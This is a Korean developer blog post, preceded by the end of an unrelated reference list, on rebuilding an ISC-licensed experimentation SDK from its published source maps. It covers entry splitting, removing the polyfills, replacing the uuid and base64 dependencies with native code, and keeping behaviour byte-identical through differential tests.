- [rust-markdownlint](https://github.com/yceffort/rust-markdownlint): 저장소. 파서 교체 검토(`docs/parser-replacement.md`), cli2 시나리오 결과(`docs/cli2-scenarios.md`), 실전 저장소 대조(`docs/test-repos.md`), 벤치 기록(`bench/RESULTS.md`), 남은 성능 차이의 A/B와 단계별 계측(`bench/remaining-gap-2026-09-07.md`), 출력 버퍼링 실험(`bench/optimization-plan-2026-09-07.md`), markdown-rs 패치 목록(`crates/markdown-rs/PATCHES.md`)
- [Rewriting Bun in Rust](https://bun.com/blog/bun-in-rust): Bun 팀의 포팅 기록. 에이전트 구성, 적대 리뷰, 회귀 19건
- [markdownlint-cli2 v0.22.1](https://github.com/DavidAnson/markdownlint-cli2), [markdownlint v0.40.0](https://github.com/DavidAnson/markdownlint): 원본
- [markdown-rs](https://github.com/wooorm/markdown-rs): micromark의 Rust 포트

---

Source: https://yceffort.kr/2026/08/rebuilding-a-vendor-sdk.md
Title: <em>외부 SDK</em>를 뜯어서 내 맘대로 다시 만들기: 단, 로직은 한 줄도 건드리지 않고
Description: 상수 하나를 import 했는데 번들의 97.7%가 따라왔다. 벤더는 고칠 일정이 미정이라기에, 배포된 소스맵을 뜯어 400개가 넘는 TypeScript 파일을 되찾고 빌드와 엔트리와 의존성을 내 맘대로 갈아엎었다. 로직만 빼고. 그래서 /send가 raw -77.5%. 그런데 어려운 건 그다음이었다. 테스트 1932개가 전부 통과했는데, 그중 몇 개는 아무것도 보고 있지 않았다.
Date: 2026-08-31
Tags: bundler, tree-shaking, testing, sdk, frontend

## Table of Contents

## 상수 하나에 375KB

실험 플랫폼 SaaS의 웹 SDK를 쓰고 있었다. A/B 테스트와 피처 플래그, 이벤트 수집을 한 패키지가 담당하는 종류의 물건이다. 어느 날 번들을 들여다보다가, 열거형 상수 하나를 import 한 파일이 이상하게 무겁다는 것을 알았다. 확인차 최소 케이스를 만들어 재 봤다.

```ts
// 이게 전부다. createInstance 를 부르지도 않았다.
import {EvaluationReason} from '@vendor/js-sdk'
console.log(EvaluationReason.DEFAULT_RULE)
```

| 시나리오                       | raw       | gzip     |
| ------------------------------ | --------- | -------- |
| 상수 하나만 import             | 383,698 B | 93,628 B |
| 실사용 (`createInstance` 호출) | 392,745 B | 96,851 B |

상수 하나를 가져왔을 뿐인데 실사용의 97.7%가 그대로 남았다. 압축 후로 따져도 96.7%다. 절대량으로는 raw 374.7KB, gzip 91.4KB다. 트리셰이킹이 부분적으로 약한 게 아니라, 사실상 작동하지 않는 상태였다.

이 글은 그 SDK를 소스맵에서 복원해 다시 빌드한 기록이다. 크기를 줄인 이야기가 절반, "로직을 한 줄도 안 고쳤다"는 주장을 어떻게 검증했는가가 나머지 절반이다. 시간을 더 많이 쓴 쪽도, 배운 게 더 많았던 쪽도 뒤쪽이었다.

> 측정은 macOS, esbuild 0.24로 번들한 뒤 `zlib` gzip 레벨 9와 brotli 기본 설정으로 압축한 값이다. 본문의 KB는 전부 1KB를 1024바이트로 계산했고, 바이트 단위 원값을 함께 적었다. 서브패스별 크기 표는 이 글을 쓰면서 Node 24.20.0에서 다시 돌려 기준선과 0.0% 일치를 확인했고, 벤더 원본 행도 같은 esbuild 설정으로 다시 재서 gzip 94.9KB와 brotli 78.8KB가 재현되는 것을 확인했다. 벤더는 익명으로 두었다. 패키지명, 버전, 내부 클래스 이름, 기능 이름, 서브패스 이름은 전부 역할만 남기고 일반화했으므로 실제 이름이 아니다. 수치는 그 이름이 가리키는 엔트리를 실제로 번들해 잰 값 그대로다. 코드 예제 중 벤더 소스에서 온 것은 구조만 남긴 형태다.

## 왜 직접 만들기로 했나

먼저 벤더에 개선을 요청했다. 원인 분석과 실측 수치를 붙여서 보냈고, 답은 "인지하고 있으나 반영 일정은 미정"이었다. 이 답이 비합리적이라고 생각하지는 않는다. SDK의 빌드 파이프라인을 바꾸는 일은 모든 고객사의 런타임에 영향을 주는 변경이라, 우선순위가 밀리는 게 자연스럽다.

그렇다고 기다리는 동안 압축 후 91KB를, 압축 전으로는 375KB를 계속 실어 나를 이유도 없었다. 특히 우리 쪽 소비 실태를 조사해 보니 상황이 더 아까웠다. 이 SDK를 쓰는 저장소 여덟 곳을 훑었더니 대부분은 **이벤트 전송만** 하고 있었다. A/B 테스트 평가를 실제로 호출하는 곳은 소수였고, 메시지 UI는 아무도 안 쓰고 있었다. 안 쓰는 기능이 번들의 대부분을 차지하고 있었다는 뜻이다.

그래서 직접 만들기로 했는데, 여기서 조건을 하나 걸었다. **기능과 로직은 손대지 않는다.** 이건 취향이 아니라 리스크 관리다. 이 SDK가 보내는 이벤트는 대시보드로 흘러가서 실험 판정의 근거가 된다. 우리가 로직을 "개선"하면 그 순간부터 대시보드의 숫자가 무엇을 뜻하는지 아무도 확신할 수 없게 된다. 버그를 고치는 것조차 위험하다. 실제로 이 SDK에는 타임존 프로퍼티가 항상 빈 문자열로 나가는 버그가 있는데, 그것도 그대로 두기로 했다. 뒤에서 다시 나온다.

그러면 선택지는 셋이었다.

**직접 새로 쓴다.** 공개 API가 명세이므로 같은 인터페이스로 구현하면 된다. 가장 깨끗하지만, 평가 엔진의 버킷팅 해시와 스무 종이 넘는 타겟 매칭 연산자를 벤더와 비트 단위로 똑같이 재현해야 한다. 하나라도 틀리면 특정 유저 집합의 실험 배정이 달라진다. 예외도 경고도 없이 달라지기 때문에 배포한 쪽은 아무 신호를 못 받는다.

**포크한다.** 소스 저장소가 공개되어 있지 않아 불가능했다.

**배포본에서 소스를 복원한다.** 배포된 패키지에 소스맵이 함께 들어 있었고, `sourcesContent` 필드에 원본 TypeScript가 통째로 담겨 있었다. 로직을 재현할 필요가 없어진다. 그냥 그 로직 자체를 쓰면 된다.

세 번째를 골랐다. 라이선스는 ISC라 재배포와 수정이 허용되고, 사내 사용이 목적이라 배포 문제도 없었다. 다만 원저작물 고지는 별도 파일로 남겼다. 원 패키지가 배포물에 LICENSE 원문을 넣지 않아서 표준 문안에 선언된 저작자를 적용해 재구성했는데, 그렇게 만든 문안이 원문은 아니라는 사실도 같은 파일에 적어 뒀다.

## 원인은 둘인데, 크기가 다르다

복원을 시작하기 전에 원인부터 정확히 갈랐다. 여기서 잘못 짚으면 몇 주를 엉뚱한 데 쓰게 된다.

**첫째, 도달 가능성이다.** `createInstance` 를 호출하는 순간 화면에 무언가를 그리는 UI 코드, 네이티브 앱과 주고받는 브릿지, 디바이스 정보를 뽑아내는 파서가 전부 도달 가능한 코드가 된다. 번들러 입장에서는 제거할 근거가 없다. 실제로 쓰이는 코드니까. 이건 트리셰이킹의 문제가 아니고, `sideEffects` 선언을 고치거나 번들러를 바꿔서 해결되는 종류도 아니다. 엔트리를 나누는 것 말고는 방법이 없다.

**둘째, 부수효과를 증명할 수 없는 형태다.** tsconfig의 target이 ES5라 클래스가 전부 IIFE로 컴파일되어 있었다. 이런 모양이다.

```js
var Bucketer = /** @class */ (function () {
  function Bucketer(murmur) {
    this.murmur = murmur
  }
  Bucketer.prototype.bucketing = function (bucket, id) {
    /* ... */
  }
  return Bucketer
})()
```

즉시 실행 함수라 번들러는 이게 부수효과가 없다고 증명하지 못한다. `/*#__PURE__*/` 주석도 붙어 있지 않다. 그래서 도달 불가능한 코드마저 남는다. 배포본에서 이 패턴을 세어 보니 500개에 가까웠다.

둘 다 진짜 원인이지만, 크기가 같지 않다. 이걸 확인하려고 배포본에 PURE 주석을 강제로 주입해서 다시 재 봤다.

| 시나리오                       | raw       | gzip     |
| ------------------------------ | --------- | -------- |
| 상수 하나만 import (원본)      | 383,698 B | 93,628 B |
| 상수 하나만 import + PURE 주입 | 58,725 B  | 24,736 B |
| 실사용 (원본)                  | 392,745 B | 96,851 B |
| 실사용 + PURE 주입             | 381,701 B | 95,684 B |

PURE 주석은 상수 하나만 가져오는 합성 케이스에서 73.6%를 줄인다. 극적이다. 반면 실사용에서는 1.2%밖에 못 줄인다. 당연한 결과이긴 하다. 실제로 클라이언트를 만들어 쓰면 대부분의 코드가 도달 가능해지니까, 부수효과 증명은 더 이상 병목이 아니다.

이 표가 알려준 것은 **엔트리 분리가 본체이고 ES 타깃 상향은 그 위에 얹는 개선**이라는 사실이었다. 만약 이걸 재 보지 않고 "IIFE가 범인이다"라는 직관만 따라갔다면, 빌드 타깃만 올려 두고 1.2% 개선에 만족하며 끝냈을 것이다. 원인이 둘일 때 각각의 크기를 따로 재는 일은 생각보다 자주 건너뛰게 되는데, 이 경우엔 그게 방향을 갈랐다.

## 소스맵에서 TypeScript를 되찾기

소스맵은 보통 디버깅용으로만 생각하게 되는데, 사실 원본 소스를 통째로 실어 나를 수 있는 포맷이다. 소스맵 v3 스펙에는 `sources`(원본 파일 경로 목록)와 나란히 `sourcesContent`(각 원본 파일의 전문)라는 선택 필드가 있다. 번들러가 이 필드를 채워서 내보내면, 소스맵 하나에 원본 소스 전체가 들어간다.

```json
{
  "version": 3,
  "sources": ["../src/core/internal/evaluation/bucket/Bucketer.ts", "..."],
  "sourcesContent": [
    "import { Bucket } from \"../../model/model\"\n\nexport class Bucketer {\n...",
    "..."
  ],
  "mappings": "AAAA,OAAO..."
}
```

이 벤더는 `sourcesContent` 를 채운 소스맵을 npm에 함께 배포하고 있었다. 흔한 일이다. rollup과 webpack 모두 소스맵을 켜면 기본적으로 이 필드를 포함하고, 끄려면 따로 설정해야 한다. 그래서 배포물에 소스맵을 넣는 순간 컴파일 전 소스가 같이 나간다.

복원 자체는 그래서 단순하다. 파싱해서 파일로 다시 떨어뜨리면 된다.

```js
const map = JSON.parse(
  readFileSync('vendor/unpacked/package/lib/index.browser.es.js.map', 'utf8'),
)

let count = 0
map.sources.forEach((source, i) => {
  const content = map.sourcesContent?.[i]
  if (!content) return
  if (source.includes('node_modules')) return // 폴리필 등 서드파티는 제외
  const rel = source.replace(/^(\.\.\/)+/, '').replace(/^src\//, '')
  const target = join(OUT, rel)
  mkdirSync(dirname(target), {recursive: true})
  writeFileSync(target, content)
  count++
})
```

여기서 320개 남짓한 파일이 나왔다. 그런데 배포된 `.d.ts` 는 400개가 넘었다. 80개 넘게 비었고, 이유가 둘로 갈렸다.

**첫째, 타입 전용 모듈은 소스맵에 남지 않는다.** 인터페이스와 타입 별칭만 있는 파일은 컴파일 결과 런타임 코드를 한 줄도 만들지 않는다. 그러면 번들러가 그 모듈을 통째로 제거하고, 제거된 모듈은 애초에 번들에 매핑될 구간이 없으니 `sourcesContent` 에도 흔적을 남기지 않는다. 여기 걸린 것이 70여 개였고 그중에는 클라이언트 인터페이스, 이벤트 디스패처, 라이프사이클 리스너 같은 핵심 계약이 들어 있었다. 이건 배포된 `.d.ts` 를 `.ts` 로 그대로 옮겨 채웠다. 내용이 순수 타입 선언이라 확장자만 바꿔도 유효하다.

**둘째, 브라우저 번들에 안 들어가는 코드는 브라우저 소스맵에 없다.** 처음에는 브라우저 ESM 소스맵 하나만 읽었는데, Node 전용 엔트리에 딸린 파일 아홉 개가 계속 비었다. 이 패키지는 브라우저 빌드와 Node 빌드를 따로 내보내고 소스맵도 따로 배포한다. Node 번들의 소스맵을 한 번 더 읽으니 그 아홉 개가 실제 구현으로 채워졌다.

이 순서가 중요하다. 처음에는 그 아홉 개도 `.d.ts` 백필로 채워졌는데, `.d.ts` 백필은 타입만 있고 구현이 없는 껍데기다. 타입체크는 통과하고 빌드도 되니까 한동안 눈치채지 못했다. 소스맵이 여러 개 배포되면 전부 읽고, 이미 채워진 파일은 덮지 않는 순서로 처리하는 게 맞다.

```js
// 브라우저 소스맵으로 채운 뒤, Node 소스맵으로 빈 곳만 메운다
nodeMap.sources.forEach((source, i) => {
  const content = nodeMap.sourcesContent?.[i]
  if (!content || source.includes('node_modules')) return
  const target = join(
    OUT,
    source.replace(/^(\.\.\/)+/, '').replace(/^src\//, ''),
  )
  if (existsSync(target)) return // 브라우저 소스맵이 이미 채운 것은 건드리지 않는다
  writeFileSync(target, content)
})
```

최종적으로 브라우저 번들에서 320여 개, Node 번들에서 아홉 개, 타입 선언 백필로 70여 개가 나왔다. 셋을 합치니 배포된 `.d.ts` 개수와 하나도 남김없이 맞아떨어졌다.

### 개수를 스크립트에 박아 둔 이유

복원 스크립트에는 단계마다 개수 단언이 들어 있다.

```js
if (count !== EXPECTED_RUNTIME_SOURCES) {
  console.error(
    `expected ${EXPECTED_RUNTIME_SOURCES} runtime source files, got ${count}`,
  )
  process.exit(1)
}
```

처음엔 과하다고 생각했는데, 결과적으로 이 세 줄이 재현성의 유일한 근거가 됐다. 이 저장소가 하는 주장 중 가장 근본적인 것이 "이 소스는 우리가 쓴 게 아니라 벤더가 배포한 것"인데, 그 주장을 확인하는 방법은 스크립트를 다시 돌려 같은 결과가 나오는지 보는 것뿐이다. 개수가 하나라도 다르면 그 확인이 무너진다. 실제로 코드 리뷰 단계에서 리뷰어가 `--force` 로 재추출을 직접 돌려 세 갈래의 개수를 독립적으로 재현했고, 그게 이 저장소에서 소스 복원에 대한 가장 강한 근거가 됐다.

같은 이유로 스크립트에 가드를 하나 더 넣었다. 이 스크립트는 출력 디렉터리를 통째로 지우고 다시 만드는데, 복원 이후 우리가 그 경로 아래에 파일을 새로 만들고 편집한다. 무심코 다시 돌리면 그 작업이 전부 날아간다.

```js
if (existsSync(OUT) && !FORCE) {
  console.error(
    `${OUT} already exists.\n` +
      `벤더 소스는 git 에 커밋되어 있고, extract 는 1회성 부트스트랩 도구다.\n` +
      `다시 실행하면 이 경로 아래 로컬 편집분을 전부 지운다.`,
  )
  process.exit(1)
}
```

계획 단계에서는 최종 검증 체인이 `pnpm install && pnpm extract && pnpm build && pnpm test` 였다. 그대로 뒀으면 최종 검증이 그때까지의 작업 산출물을 전부 지우고 실패했을 것이다. 복원은 반복 실행하는 빌드 단계가 아니라 신규 클론에서 한 번 도는 부트스트랩이라는 게 그때 정리됐다.

### 복원한 소스는 수정 대상이 아니다

복원 후에 규칙을 하나 세웠다. `src/` 아래는 건드리지 않는다. 말은 간단한데 실제로는 계속 부딪혔다.

린터를 돌리자 원본 소스에서 correctness 등급 에러가 쏟아졌다. 파서 한 파일에서만 불필요한 정규식 이스케이프가 160건 넘게 나왔다. 처음엔 `--fix` 를 돌렸고, 이게 실수였다. 그 파일은 SDK가 자동으로 수집하는 프로퍼티를 만들어내는 파일이라 벤더와 바이트 단위로 같아야 했다. 정규식을 "정규화"하는 순간 그 동등성 주장이 무너진다. 130줄 가까이 바뀐 것을 되돌렸다.

결국 규칙 다섯 개를 껐다. `no-useless-escape`, `no-document-cookie`, `no-extra-boolean-cast`, `no-wrapper-object-types`, `no-useless-fallback-in-spread` 다. 전부 복원 소스에서만 터지고, 그 코드는 고칠 수 없는 대상이라 구조적으로 조치가 불가능하다. 조치할 수 없는 규칙이 에러로 뜨는 것은 코드의 결함이 아니라 린트 설정의 결함이라고 판단했다. 바이트 동등성이 이기고 린트 설정이 굽는 쪽이 맞다고 봤다.

물론 대가가 있다. 우리가 새로 쓰는 코드에서 같은 위반이 나도 안 잡힌다. 가치가 낮은 다섯 규칙이라 감수했는데, 감수했다는 사실은 설정 파일 주석이 아니라 판단 기록 문서에 남겼다. 껐다는 것만 알면 다음 사람이 할 수 있는 건 다시 켜 보는 것뿐이다. 무엇을 지키려고 껐고 대신 무엇을 잃었는지가 같이 적혀 있어야 켤지 말지를 판단할 수 있다.

### 버그를 몇 개 찾았지만, 고치지 않았다

외부 코드를 이 정도로 오래 들여다보면 이상한 곳이 눈에 들어온다. 몇 개 찾았고, **전부 그대로 뒀다.**

**타임존이 항상 빈 문자열로 나간다.** 디바이스 프로퍼티를 만드는 코드에서 화면 방향 변수가 선언 없이 대입된다. 컴파일된 산출물은 strict mode라 이 줄에서 `ReferenceError` 가 나고, 바로 다음 줄인 타임존 대입에 영영 도달하지 못한다. 그래서 이 SDK를 쓰는 모든 서비스의 대시보드에서 타임존 항목은 계속 비어 있다.

**`close()` 가 전역 패치를 되돌리지 않는다.** 라이프사이클 매니저가 설치 시점에 `history.pushState` 와 `replaceState` 를 래퍼로 감싸는데, 클라이언트를 닫아도 그 래퍼가 그대로 남는다. 한 페이지에서 인스턴스를 여러 번 만들고 닫으면 래퍼가 겹겹이 쌓이고, 죽은 인스턴스가 계속 라우팅 이벤트에 반응한다. 이 결함은 뒤에서 다시 나온다. 우리 테스트를 조용히 망가뜨린 범인이 이것이었다.

**타입 선언이 실제 동작과 어긋난다.** 전송 계층 인터페이스가 beacon 전송기를 `| null` 로 선언해 두었는데, 실제 코드는 지원 여부와 무관하게 항상 생성한다. null이 될 수 없는 값에 null 가능 타입이 붙어 있다.

**디바이스 정보를 이벤트마다 두 번 파싱한다.** 브라우저 프로퍼티 생성기와 디바이스 프로퍼티 생성기가 각각 독립적으로 파서를 호출한다. 그 문자열은 페이지 수명 동안 바뀌지 않고, 그 파서는 900줄 넘는 정규식 테이블이다. 메모이제이션 후보로 아주 그럴듯해 보였다.

넷 다 안 고쳤다. 이유는 하나다. **이 작업의 목표가 "옳게 동작하는 것"이 아니라 "지금 배포된 것과 똑같이 동작하는 것"이기 때문이다.**

타임존을 고치면 어제까지 비어 있던 필드에 갑자기 값이 차기 시작한다. 대시보드에서 보면 그건 개선이 아니라 지표의 불연속이다. 교체 시점을 기준으로 데이터가 갈라지고, 나중에 누가 그 구간을 보면 "이때 무슨 일이 있었나"부터 조사해야 한다. 타입 선언도 마찬가지다. 고치는 순간 그 타입에 기대어 짜인 소비자 코드에서 컴파일 에러가 날 수 있는데, 이건 우리가 약속한 무중단 교체와 어긋난다.

그래서 넣은 개선은 **동작을 하나도 바꾸지 않는 범위**로 한정했다. 빌드 산출물의 형태, 엔트리 구조, 폴리필, 런타임 의존성이다. 넷 다 소비자가 받아 가는 파일의 크기와 모양을 바꿀 뿐, 그 코드가 실행됐을 때 나오는 값은 바꾸지 않는다. 뒤에 나오는 검증이 확인하는 것도 정확히 그 지점이다.

디바이스 정보 파싱 건은 그 경계를 잘 보여준다. 이건 값을 안 바꾸는 순수한 성능 개선이라 넣어도 되는 종류였다. 그래서 넣기 전에 재 봤는데, **호출당 0.0060ms, 이벤트당 0.012ms였다.** 두 번을 한 번으로 줄여서 얻는 것이 이벤트당 6마이크로초다. 캐시 하나를 들이고 그 캐시의 무효화 조건을 앞으로 계속 신경 쓰는 값으로는 너무 싸다. 그래서 안 넣었다.

명백한 개선만 넣는다는 건 이런 뜻이다. 넣기 전에 재 봤고, 재 보니 넣을 이유가 없었다.

## 폴리필을 원점에서 다시 보기

복원한 엔트리 상단에는 이런 두 줄이 있었다.

```ts
import 'core-js/features/promise'
import 'core-js/features/array'
```

이걸 보고 처음 한 생각은 "브라우저 지원 범위 때문에 넣었겠지"였다. 확인해 보니 이 두 줄의 비용이 생각보다 컸다.

배포된 번들을 열어 보면 core-js 3.x가 **인라인되어 있다.** 외부 import로 남아서 소비자가 알아서 처리하는 구조가 아니라, 패키지 안에 들어 있다. 그리고 core-js는 폴리필이라 전역 내장 객체를 패치한다. 번들 안에 `__core-js_shared__` 라는 전역 키가 들어 있는 게 그 증거다.

소스맵의 `sources` 목록으로 비중을 재 봤다. 번들에 들어간 소스 중 core-js 유래가 240여 개 파일에 약 200KB이고, 벤더 자체 소스가 320여 개 파일에 약 790KB다. 압축 전 소스 바이트 기준으로 20%가 폴리필이었다.

> 이 20%는 컴파일과 압축을 거치기 전의 소스 바이트 기준이라 최종 산출물에서의 비중과는 다르다. 폴리필 코드는 반복 패턴이 많아 압축률이 좋은 편이라, gzip 기준 비중은 이보다 낮을 가능성이 높다. 정확한 gzip 기여분은 재지 않았다.

그래서 "무엇을 위한 폴리필인가"를 원점에서 다시 봤다. 순서는 이랬다.

**먼저 무엇을 주입하는지 확인했다.** `core-js/features/*` 는 core-js의 세 갈래 엔트리 중 가장 넓은 것이다. `core-js/es/*` 는 확정된 표준만, `core-js/proposals/*` 는 제안 단계만 담고, `features/*` 는 **둘을 합친 최대 세트**다. 즉 이 두 줄은 확정 표준뿐 아니라 아직 표준이 아닌 제안 단계 메서드까지 전역에 심는다.

**다음으로 실제로 무엇을 쓰는지 셌다.** 복원한 런타임 소스를 전수 조사했다. `features/*` 가 추가로 심어주는 제안 단계 메서드 열 종을 찾아봤는데, 결과가 이랬다.

```text
.group  .groupBy  .groupToMap  .toReversed  .toSorted
.toSpliced  .uniqueBy  .filterOut  .filterReject  .lastItem
                                              모두 0회
```

한 번도 안 쓴다. `features/*` 대신 `es/*` 를 썼어도 아무 차이가 없었다는 뜻이다.

**그리고 실제로 쓰는 내장이 무엇인지, 각각의 네이티브 지원 하한이 어디인지 정리했다.**

| 기능                                     | 사용 횟수 | 표준          | 네이티브 지원 하한              |
| ---------------------------------------- | --------- | ------------- | ------------------------------- |
| Promise, async/await                     | 90+       | ES2015        | IE11 제외 전부                  |
| Map / Set                                | 21        | ES2015        | IE11 제외 전부                  |
| `Array.from`                             | 22        | ES2015        | IE11 제외 전부                  |
| `Array.prototype.find` / `includes`      | 42        | ES2015/ES2016 | IE11 제외 전부                  |
| `Object.entries` / `values` / `assign`   | 18        | ES2017        | Chrome 54, Safari 10.1          |
| `String.prototype.startsWith`/`endsWith` | 7         | ES2015        | IE11 제외 전부                  |
| **`Array.prototype.flat` / `flatMap`**   | **3**     | **ES2019**    | **Chrome 69, Safari 12, FF 62** |

표를 만들고 나니 그림이 분명해졌다. 폴리필 없이도 IE11만 빼면 거의 다 돌아간다. 지원 하한을 혼자 끌어올리고 있는 것은 `flat` 과 `flatMap` 세 곳뿐이었다.

**그래서 그 세 곳을 `reduce` 로 바꿨다.** 컬렉션 유틸 두 곳과 저장소 코드 한 곳이었고, 각각 두세 줄짜리 변경이다.

```ts
// before
return groups.flatMap((it) => it.items)

// after
return groups.reduce<Item[]>((acc, it) => acc.concat(it.items), [])
```

이 치환으로 하한이 `Object.entries` 가 잡는 ES2017(Chrome 54, Safari 10.1)까지 내려갔다. 그리고 빌드의 문법 타깃도 같은 ES2017로 맞췄다. 둘이 어긋나 있으면 "이 SDK가 어느 브라우저까지 도는가"에 답이 두 개가 되고, 문법은 통과하는데 메서드가 없어 죽는 구간이 그 사이에 생긴다.

**결론은 런타임 폴리필을 번들에 넣지 않는 것이었다.** core-js import 두 줄을 지웠고, 우리 빌드 산출물에는 core-js 참조가 0건이다.

이 판단의 근거를 하나 더 적어 두고 싶다. **폴리필은 라이브러리가 아니라 애플리케이션의 책임이라고 생각한다.** 앱이 이미 같은 폴리필을 갖고 있어도 라이브러리 몫이 중복해서 실리고, 앱이 지원하지 않기로 한 브라우저를 위한 코드까지 따라 들어온다. 더 곤란한 쪽은 전역 패치다. 라이브러리를 import 했을 뿐인데 `Array.prototype` 이 바뀐다. 어디까지 지원할지는 앱이 정할 문제인데, 폴리필을 품은 라이브러리는 그 결정을 미리 내려놓은 채로 배포된다.

대신 IE11 지원이 필요한 소비자를 위해 README에 `core-js/es` 를 앱 엔트리에서 import 하는 안내를 뒀다. 필요한 쪽이 필요한 만큼 넣는 게 맞고, 그 선택지를 없애지 않는 것이 라이브러리가 할 일이라고 봤다.

## 의존성을 0으로 만들기

벤더 패키지의 런타임 의존성은 둘이었다. UUID 생성 라이브러리와 base64 라이브러리다.

```json
"dependencies": {
  "js-base64": "^3.x",
  "uuid": "^8.x"
}
```

크기만 보면 큰 건 아니다. 두 패키지를 각각 최소 사용 예제로 번들해서 재 보면 UUID 쪽이 raw 1,180 B에 gzip 619 B, base64 쪽이 raw 3,779 B에 gzip 1,668 B다. 그런데 이 SDK처럼 **여러 저장소가 공통으로 물고 가는 패키지**에서는 의존성의 비용이 바이트로만 계산되지 않는다고 생각한다. 이 SDK를 쓰는 저장소가 여덟 곳이면 그 여덟 곳의 lock 파일에 이 두 패키지가 들어가고, 여덟 곳의 보안 감사 결과에 이 두 패키지의 advisory가 뜨고, 여덟 곳의 버전 충돌 해결 대상이 된다. 공용 패키지일수록 의존성 하나의 파급이 곱해진다.

그래서 둘 다 걷어냈다. 다만 걷어내는 방식이 서로 달랐다.

### UUID: 더 가벼운 라이브러리가 아니라 네이티브로

처음 나온 제안은 `uuid` 를 `nanoid` 로 바꾸는 것이었다. 더 작으니까 자연스러운 발상이다. 다만 이 케이스에는 맞지 않았다.

이 SDK는 UUID를 세 군데에 쓴다. 이벤트마다 붙는 삽입 식별자, localStorage에 영속되는 디바이스 식별자, 그리고 세션 식별자다. 세션 식별자가 특히 문제였다.

```ts
sessionId = `${timestamp}.${uuidv4().slice(0, 8)}` // 소문자 hex 8자
```

UUID v4의 앞 8자를 잘라 쓴다. 즉 소문자 16진수 8자라는 형식이 결과물에 그대로 드러난다. nanoid의 기본 알파벳은 `A-Za-z0-9_-` 라 `V1StGXR8` 같은 값이 나오고, 그러면 세션 식별자의 형식 자체가 바뀐다. 디바이스 식별자도 UUID 문자열 그대로 서버에 전송되니 같은 문제가 있다.

형식을 지키려면 `customAlphabet('0123456789abcdef')` 에 대시와 버전 비트, 변형 비트를 손으로 조립해야 하는데, 그건 nanoid를 난수 공급기로만 쓰는 자체 UUID 생성기다. 그럴 거면 플랫폼이 이미 주는 것을 쓰는 게 낫다.

그래서 `crypto.randomUUID()` 를 택했다. 다만 여기에 함정이 있었다.

```ts
export function v4(): string {
  const c = globalThis.crypto
  if (typeof c.randomUUID === 'function') {
    return c.randomUUID()
  }

  // 폴백: getRandomValues 로 16바이트를 받아 v4 형식으로 조립한다
  const bytes = new Uint8Array(16)
  c.getRandomValues(bytes)
  bytes[6] = (bytes[6] & 0x0f) | 0x40 // 버전 4
  bytes[8] = (bytes[8] & 0x3f) | 0x80 // 변형 비트

  let hex = ''
  for (let i = 0; i < 16; i++) {
    hex += (bytes[i] + 0x100).toString(16).slice(1)
  }
  return `${hex.slice(0, 8)}-${hex.slice(8, 12)}-${hex.slice(12, 16)}-${hex.slice(16, 20)}-${hex.slice(20)}`
}
```

폴백이 선택이 아니라 필수인 이유는 WebCrypto 스펙의 IDL에 있다.

```text
interface Crypto {
  [SecureContext] readonly attribute SubtleCrypto subtle;
  ArrayBufferView getRandomValues(ArrayBufferView array);
  [SecureContext] DOMString randomUUID();
};
```

`randomUUID` 에는 `[SecureContext]` 가 붙어 있고 `getRandomValues` 에는 없다. 즉 http로 서비스하는 사이트에서는 `randomUUID` 가 아예 존재하지 않는다. 서드파티 SDK는 자기가 어디에 심길지 고를 수 없으므로 이 경로를 반드시 가정해야 한다.

| 지원                | `randomUUID` | `getRandomValues` |
| ------------------- | ------------ | ----------------- |
| Chrome / Edge       | 92           | 11                |
| Firefox             | 95           | 21                |
| Safari / iOS        | **15.4**     | 5                 |
| IE                  | 없음         | 11                |
| secure context 전용 | **예**       | 아니오            |

여기서 하나 배운 게 있다. MDN의 browser-compat-data에는 `randomUUID` 의 `secure_context_required` 가 설정돼 있지 않다. **호환성 표만 보면 이 제약을 놓친다.** 스펙 IDL을 직접 확인하고 나서야 폴백이 필수라는 결론이 나왔다.

### base64: 다섯 줄과 라이브러리 대조

base64 쪽은 더 단순했다. `Base64.encodeURL(JSON.stringify(identifiers))` 형태로 두 군데에서만 쓰고 있었다. base64url 인코딩 하나를 위해 raw 3,779 B, gzip 1,668 B를 싣고 있었던 셈이다.

```ts
export function encodeBase64Url(input: string): string {
  const bytes = new TextEncoder().encode(input)

  let binary = ''
  for (let i = 0; i < bytes.length; i++) {
    binary += String.fromCharCode(bytes[i])
  }

  return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '')
}
```

`btoa` 에 문자열을 그대로 넘기지 않고 `TextEncoder` 로 UTF-8 바이트를 먼저 만드는 것이 요점이다. 이 값에는 사용자 식별자가 들어가고 거기에는 비ASCII가 들어올 수 있는데, `btoa` 는 latin1 범위를 벗어나면 예외를 던진다.

문제는 이 함수가 원본 라이브러리와 **한 바이트라도 다르면 안 된다**는 것이었다. 결과가 요청 헤더에 실려 서버가 파싱하기 때문이다. 그래서 테스트를 대조 방식으로 짰다. 라이브러리를 출하 의존성에서 걷어내되 devDependency로는 남겨 두고, 우리 구현과 계속 나란히 비교한다.

```ts
it('길이 0~64 의 모든 패딩 경계에서 같다', () => {
  for (let n = 0; n <= 64; n++) {
    const s = 'x'.repeat(n)
    expect(encodeBase64Url(s)).toBe(Base64.encodeURL(s))
  }
})

it('난수 유니코드 문자열 2000개가 전부 같다', () => {
  const rand = lcg(20260830) // 시드 고정. 실행마다 바뀌면 실패를 재현할 수 없다
  for (let i = 0; i < 2000; i++) {
    /* ... 임의 코드포인트로 문자열을 만들어 비교 ... */
  }
})
```

패딩 경계를 0부터 64까지 전부 도는 이유는, base64 패딩이 입력 바이트 길이를 3으로 나눈 나머지에 따라 갈리고 `encodeURL` 은 `=` 를 떼기 때문이다. 세 경우를 다 밟아야 한다. 난수 코퍼스에 시드를 고정한 이유는 실패를 재현할 수 있어야 하기 때문이다. 실행마다 코퍼스가 바뀌면 CI에서 한 번 터진 케이스를 다시 못 만든다.

이 테스트는 뒤에서 이야기할 벤더 대조와는 성격이 다르다. 벤더 배포본과 비교하는 게 아니라 **대체 대상 라이브러리와 직접 비교**한다. 근거의 강도로 치면 이쪽이 오히려 강하다. 같은 입력에 대해 출력이 문자열로 같은지를 2000건까지 확인하니까.

### 보안 감사 숫자에 대해

의존성이 0이 되면서 부수 효과가 하나 생겼다. 출하물의 취약점도 0건이 됐다.

작업 중에 `pnpm audit` 이 7건(critical 1, high 1, moderate 5)을 보고했는데, 열어 보니 여섯 건이 devDependency 전용이었다. 테스트 러너와 번들러와 개발 서버 이야기다. 출하물에 들어가는 건 하나였고, 그마저도 우리가 쓰지 않는 API 경로의 문제였다. UUID 라이브러리가 특정 함수에 버퍼 인자를 줄 때 경계 검사를 빠뜨린다는 내용인데, 이 SDK는 일곱 군데 전부 인자 없이 호출하고 있었다.

